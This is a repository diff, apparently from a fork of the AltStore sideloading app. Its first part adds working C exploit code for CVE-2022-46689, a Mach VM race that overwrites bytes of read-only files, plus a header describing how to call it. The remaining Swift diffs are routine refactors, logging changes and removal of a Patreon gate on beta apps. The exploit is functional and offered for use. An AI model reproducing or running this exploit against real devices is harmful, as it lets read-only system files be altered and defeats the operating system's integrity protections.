#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct contextual_structure {
vm_size_t ob_sizing;
vm_address_t vmaddress_zeroe;
mach_port_t memory_entry_r_o;
mach_port_t memory_entry_r_w;
dispatch_semaphore_t currently_active_sem;
pthread_mutex_t mutex_thingy;
volatile bool finished;
};
//switcheroo_thread
static void *
sro_thread(__unused void *arg)
{
kern_return_t kr;
struct contextual_structure *ctx;
ctx = (struct contextual_structure *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->currently_active_sem);
while (!ctx->finished) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mutex_thingy);
if (ctx->finished) {
pthread_mutex_unlock(&ctx->mutex_thingy);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_w,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mutex_thingy);
usleep(100);
}
return NULL;
}
//unaligned_copy_switch_race
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct contextual_structure context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->ob_sizing = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
if (file_mapped == MAP_FAILED) {
// fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
// fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->ob_sizing);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->vmaddress_zeroe = 0;
ctx->currently_active_sem = dispatch_semaphore_create(0);
//c=dispatch_semaphore_create
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->finished = false;
ctx->memory_entry_r_w = MACH_PORT_NULL;
ctx->memory_entry_r_o = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->ob_sizing);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->ob_sizing,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
//c= wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->ob_sizing * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->ob_sizing * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
//b=no diff?
fprintf(stderr, "uewiyfih");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
/* get a memory entry handle for that RW memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_w,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
//c=wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mutex_thingy);
/* start racing thread */
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
// T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->ob_sizing,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->ob_sizing);
/* map our read-only target memory right after */
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mutex_thingy);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
//c = RO mapping was modified
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mutex_thingy);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
ctx->vmaddress_zeroe = 0;
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
e2 = 0;
if (!is_still_equal) {
retval = true;
// fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->finished = true;
pthread_mutex_unlock(&ctx->mutex_thingy);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
//#if 0
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
// kern_success, kern_protection_failure, kern_other);
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
//#endif
return retval;
}

View File

@@ -0,0 +1,8 @@
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);

View File

@@ -28,7 +28,7 @@ extension AppManager
}
@available(iOS 13, *)
class AppManagerPublisher: ObservableObject
final class AppManagerPublisher: ObservableObject
{
@Published
fileprivate(set) var installationProgress = [String: Progress]()
@@ -42,7 +42,7 @@ private func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Boo
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
}
class AppManager
final class AppManager
{
static let shared = AppManager()
@@ -392,7 +392,8 @@ extension AppManager
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
{
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
print("Authenticated for fetching App IDs with result:", result)
// result contains name, email, auth token, OTP and other possibly personal/account specific info. we don't want this logged
//print("Authenticated for fetching App IDs with result:", result)
}
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)
@@ -664,7 +665,7 @@ extension AppManager
@available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
class Context: OperationContext, EnableJITContext
final class Context: OperationContext, EnableJITContext
{
var installedApp: InstalledApp?
}
@@ -684,7 +685,7 @@ extension AppManager
@available(iOS 14.0, *)
func patch(resignedApp: ALTApplication, presentingViewController: UIViewController, context authContext: AuthenticatedOperationContext, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> PatchAppOperation
{
class Context: InstallAppOperationContext, PatchAppContext
final class Context: InstallAppOperationContext, PatchAppContext
{
}
@@ -758,7 +759,7 @@ extension AppManager
extension AppManager
{
@discardableResult
func backgroundRefresh(_ installedApps: [InstalledApp], presentsNotifications: Bool = true, completionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void) -> BackgroundRefreshAppsOperation
func backgroundRefresh(_ installedApps: [InstalledApp], presentsNotifications: Bool = false, completionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void) -> BackgroundRefreshAppsOperation
{
let backgroundRefreshAppsOperation = BackgroundRefreshAppsOperation(installedApps: installedApps)
backgroundRefreshAppsOperation.resultHandler = completionHandler
@@ -1121,7 +1122,7 @@ private extension AppManager
presentingViewController?.dismiss(animated: true, completion: nil)
}
}
presentingViewController.present(navigationController, animated: true, completion: nil)
presentingViewController.present(navigationController, animated: true, completion: nil)
}
}
catch
@@ -1223,7 +1224,7 @@ private extension AppManager
let progress = Progress.discreteProgress(totalUnitCount: 100)
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
context.app = ALTApplication(fileURL: app.url)
context.app = ALTApplication(fileURL: app.fileURL)
/* Fetch Provisioning Profiles */
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
@@ -1662,13 +1663,8 @@ private extension AppManager
}
if #available(iOS 14, *)
{
WidgetCenter.shared.getCurrentConfigurations { (result) in
guard case .success(let widgets) = result else { return }
guard let widget = widgets.first(where: { $0.configuration is ViewAppIntent }) else { return }
WidgetCenter.shared.reloadTimelines(ofKind: widget.kind)
}
{
WidgetCenter.shared.reloadAllTimelines()
}
do { try installedApp.managedObjectContext?.save() }
@@ -1677,6 +1673,8 @@ private extension AppManager
catch
{
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
self.log(error, for: operation)
}
}
@@ -1701,6 +1699,43 @@ private extension AppManager
UNUserNotificationCenter.current().add(request)
}
func log(_ error: Error, for operation: AppOperation)
{
// Sanitize NSError on same thread before performing background task.
let sanitizedError = (error as NSError).sanitizedForCoreData()
let loggedErrorOperation: LoggedError.Operation = {
switch operation
{
case .install: return .install
case .update: return .update
case .refresh: return .refresh
case .activate: return .activate
case .deactivate: return .deactivate
case .backup: return .backup
case .restore: return .restore
}
}()
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
var app = operation.app
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
{
app = tempApp
}
do
{
_ = LoggedError(error: sanitizedError, app: app, operation: loggedErrorOperation, context: context)
try context.save()
}
catch let saveError
{
print("[ALTLog] Failed to log error \(sanitizedError.domain) code \(sanitizedError.code) for \(app.bundleIdentifier):", saveError)
}
}
}
func run(_ operations: [Foundation.Operation], context: OperationContext?, requiresSerialQueue: Bool = false)
{
// Find "Install AltStore" operation if it already exists in `context`

View File

@@ -8,7 +8,7 @@
import UIKit
class InstalledAppsCollectionHeaderView: UICollectionReusableView
final class InstalledAppsCollectionHeaderView: UICollectionReusableView
{
let textLabel: UILabel
let button: UIButton

View File

@@ -9,7 +9,7 @@
import UIKit
import Roxas
class InstalledAppCollectionViewCell: UICollectionViewCell
final class InstalledAppCollectionViewCell: UICollectionViewCell
{
private(set) var deactivateBadge: UIView?
@@ -55,13 +55,13 @@ class InstalledAppCollectionViewCell: UICollectionViewCell
}
}
class InstalledAppsCollectionFooterView: UICollectionReusableView
final class InstalledAppsCollectionFooterView: UICollectionReusableView
{
@IBOutlet var textLabel: UILabel!
@IBOutlet var button: UIButton!
}
class NoUpdatesCollectionViewCell: UICollectionViewCell
final class NoUpdatesCollectionViewCell: UICollectionViewCell
{
@IBOutlet var blurView: UIVisualEffectView!
@@ -73,7 +73,7 @@ class NoUpdatesCollectionViewCell: UICollectionViewCell
}
}
class UpdatesCollectionHeaderView: UICollectionReusableView
final class UpdatesCollectionHeaderView: UICollectionReusableView
{
let button = PillButton(type: .system)

View File

@@ -6,13 +6,13 @@
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import MobileCoreServices
import Intents
import Combine
import Intents
import MobileCoreServices
import UIKit
import AltStoreCore
import AltSign
import AltStoreCore
import Roxas
import Nuke
@@ -30,7 +30,7 @@ extension MyAppsViewController
}
}
class MyAppsViewController: UICollectionViewController
final class MyAppsViewController: UICollectionViewController
{
private let coordinator = NSFileCoordinator()
private let operationQueue = OperationQueue()
@@ -151,8 +151,7 @@ class MyAppsViewController: UICollectionViewController
}
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
{
}
{}
}
private extension MyAppsViewController
@@ -170,7 +169,7 @@ private extension MyAppsViewController
dynamicDataSource.numberOfSectionsHandler = { 1 }
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
dynamicDataSource.cellConfigurationHandler = { (cell, _, indexPath) in
dynamicDataSource.cellConfigurationHandler = { cell, _, _ in
let cell = cell as! NoUpdatesCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right
@@ -186,16 +185,16 @@ private extension MyAppsViewController
func makeUpdatesDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>
{
let fetchRequest = InstalledApp.updatesFetchRequest()
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.versionDate, ascending: true),
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestVersion?.date, ascending: true),
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)]
fetchRequest.returnsObjectsAsFaults = false
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
dataSource.cellConfigurationHandler = { [weak self] cell, installedApp, _ in
guard let self = self else { return }
guard let app = installedApp.storeApp else { return }
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
let cell = cell as! UpdateCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left
@@ -209,7 +208,7 @@ private extension MyAppsViewController
cell.bannerView.configure(for: app)
let versionDate = Date().relativeDateString(since: app.versionDate, dateFormatter: self.dateFormatter)
let versionDate = Date().relativeDateString(since: latestVersion.date, dateFormatter: self.dateFormatter)
cell.bannerView.subtitleLabel.text = versionDate
let appName: String
@@ -223,7 +222,7 @@ private extension MyAppsViewController
appName = app.name
}
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, app.version, versionDate)
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, latestVersion.version, versionDate)
cell.bannerView.button.isIndicatingActivity = false
cell.bannerView.button.addTarget(self, action: #selector(MyAppsViewController.updateApp(_:)), for: .primaryActionTriggered)
@@ -245,11 +244,12 @@ private extension MyAppsViewController
cell.setNeedsLayout()
}
dataSource.prefetchHandler = { (installedApp, indexPath, completionHandler) in
dataSource.prefetchHandler = { installedApp, _, completionHandler in
guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
return RSTAsyncBlockOperation() { (operation) in
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in
return RSTAsyncBlockOperation
{ operation in
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in
guard !operation.isCancelled else { return operation.finish() }
if let image = response?.image
@@ -263,7 +263,7 @@ private extension MyAppsViewController
})
}
}
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
dataSource.prefetchCompletionHandler = { cell, image, _, error in
let cell = cell as! UpdateCollectionViewCell
cell.bannerView.iconImageView.isIndicatingActivity = false
cell.bannerView.iconImageView.image = image
@@ -288,7 +288,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellIdentifierHandler = { _ in "AppCell" }
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
dataSource.cellConfigurationHandler = { cell, installedApp, indexPath in
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
let cell = cell as! InstalledAppCollectionViewCell
@@ -363,10 +363,13 @@ private extension MyAppsViewController
cell.bannerView.button.progress = nil
}
}
dataSource.prefetchHandler = { (item, indexPath, completion) in
RSTAsyncBlockOperation { (operation) in
item.managedObjectContext?.perform {
item.loadIcon { (result) in
dataSource.prefetchHandler = { item, _, completion in
RSTAsyncBlockOperation
{ _ in
item.managedObjectContext?.perform
{
item.loadIcon
{ result in
switch result
{
case .failure(let error): completion(nil, error)
@@ -376,7 +379,7 @@ private extension MyAppsViewController
}
}
}
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
let cell = cell as! InstalledAppCollectionViewCell
cell.bannerView.iconImageView.image = image
cell.bannerView.iconImageView.isIndicatingActivity = false
@@ -397,7 +400,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellIdentifierHandler = { _ in "AppCell" }
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in
dataSource.cellConfigurationHandler = { cell, installedApp, _ in
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
let cell = cell as! InstalledAppCollectionViewCell
@@ -437,10 +440,13 @@ private extension MyAppsViewController
cell.bannerView.button.progress = nil
}
}
dataSource.prefetchHandler = { (item, indexPath, completion) in
RSTAsyncBlockOperation { (operation) in
item.managedObjectContext?.perform {
item.loadIcon { (result) in
dataSource.prefetchHandler = { item, _, completion in
RSTAsyncBlockOperation
{ _ in
item.managedObjectContext?.perform
{
item.loadIcon
{ result in
switch result
{
case .failure(let error): completion(nil, error)
@@ -450,7 +456,7 @@ private extension MyAppsViewController
}
}
}
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
dataSource.prefetchCompletionHandler = { cell, image, _, _ in
let cell = cell as! InstalledAppCollectionViewCell
cell.bannerView.iconImageView.image = image
cell.bannerView.iconImageView.isIndicatingActivity = false
@@ -461,17 +467,7 @@ private extension MyAppsViewController
func updateDataSource()
{
if let patreonAccount = DatabaseManager.shared.patreonAccount(), patreonAccount.isPatron, PatreonAPI.shared.isAuthenticated
{
self.dataSource.predicate = nil
}
else
{
self.dataSource.predicate = NSPredicate(format: "%K == nil OR %K == NO OR %K == %@",
#keyPath(InstalledApp.storeApp),
#keyPath(InstalledApp.storeApp.isBeta),
#keyPath(InstalledApp.bundleIdentifier), StoreApp.altstoreAppID)
}
self.dataSource.predicate = nil
}
}
@@ -492,15 +488,17 @@ private extension MyAppsViewController
if self.isViewLoaded
{
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
}
}
}
}
func fetchAppIDs()
{
AppManager.shared.fetchAppIDs { (result) in
AppManager.shared.fetchAppIDs
{ result in
do
{
let (_, context) = try result.get()
@@ -513,12 +511,14 @@ private extension MyAppsViewController
}
}
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String : Result<InstalledApp, Error>]) -> Void)
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
{
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
group.completionHandler = { (results) in
DispatchQueue.main.async {
let failures = results.compactMapValues { (result) -> Error? in
group.completionHandler = { results in
DispatchQueue.main.async
{
let failures = results.compactMapValues
{ result -> Error? in
switch result
{
case .failure(OperationError.cancelled): return nil
@@ -564,7 +564,8 @@ private extension MyAppsViewController
self.refreshGroup = group
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}
@@ -577,7 +578,6 @@ private extension MyAppsViewController
let visibleCells = self.collectionView.visibleCells
self.collectionView.performBatchUpdates({
self.isUpdateSectionCollapsed.toggle()
UIView.animate(withDuration: 0.3, animations: {
@@ -651,8 +651,10 @@ private extension MyAppsViewController
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
self.refresh(installedApps) { (result) in
DispatchQueue.main.async {
self.refresh(installedApps)
{ _ in
DispatchQueue.main.async
{
self.isRefreshingAllApps = false
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
@@ -661,7 +663,8 @@ private extension MyAppsViewController
if #available(iOS 14, *)
{
let interaction = INInteraction.refreshAllApps()
interaction.donate { (error) in
interaction.donate
{ error in
guard let error = error else { return }
print("Failed to donate intent \(interaction.intent).", error)
}
@@ -676,13 +679,17 @@ private extension MyAppsViewController
let installedApp = self.dataSource.item(at: indexPath)
let previousProgress = AppManager.shared.installationProgress(for: installedApp)
guard previousProgress == nil else {
guard previousProgress == nil
else
{
previousProgress?.cancel()
return
}
_ = AppManager.shared.update(installedApp, presentingViewController: self) { (result) in
DispatchQueue.main.async {
_ = AppManager.shared.update(installedApp, presentingViewController: self)
{ result in
DispatchQueue.main.async
{
switch result
{
case .failure(OperationError.cancelled):
@@ -734,11 +741,14 @@ private extension MyAppsViewController
{
var fileURL: URL?
var application: ALTApplication?
var installedApp: InstalledApp? {
didSet {
var installedApp: InstalledApp?
{
didSet
{
self.installedAppContext = self.installedApp?.managedObjectContext
}
}
private var installedAppContext: NSManagedObjectContext?
var error: Error?
@@ -760,8 +770,10 @@ private extension MyAppsViewController
else
{
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
downloadOperation = RSTAsyncBlockOperation { (operation) in
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in
downloadOperation = RSTAsyncBlockOperation
{ operation in
let downloadTask = URLSession.shared.downloadTask(with: url)
{ fileURL, response, error in
do
{
let (fileURL, _) = try Result((fileURL, response), error).get()
@@ -786,7 +798,8 @@ private extension MyAppsViewController
}
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
let unzipAppOperation = BlockOperation {
let unzipAppOperation = BlockOperation
{
do
{
if let error = context.error
@@ -795,7 +808,8 @@ private extension MyAppsViewController
}
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
defer {
defer
{
try? FileManager.default.removeItem(at: fileURL)
}
@@ -820,7 +834,8 @@ private extension MyAppsViewController
}
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
let removeAppExtensionsOperation = RSTAsyncBlockOperation
{ [weak self] operation in
do
{
if let error = context.error
@@ -830,8 +845,10 @@ private extension MyAppsViewController
guard let application = context.application else { throw OperationError.invalidParameters }
DispatchQueue.main.async {
self?.removeAppExtensions(from: application) { (result) in
DispatchQueue.main.async
{
self?.removeAppExtensions(from: application)
{ result in
switch result
{
case .success: removeAppExtensionsProgress.completedUnitCount = 1
@@ -851,7 +868,8 @@ private extension MyAppsViewController
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
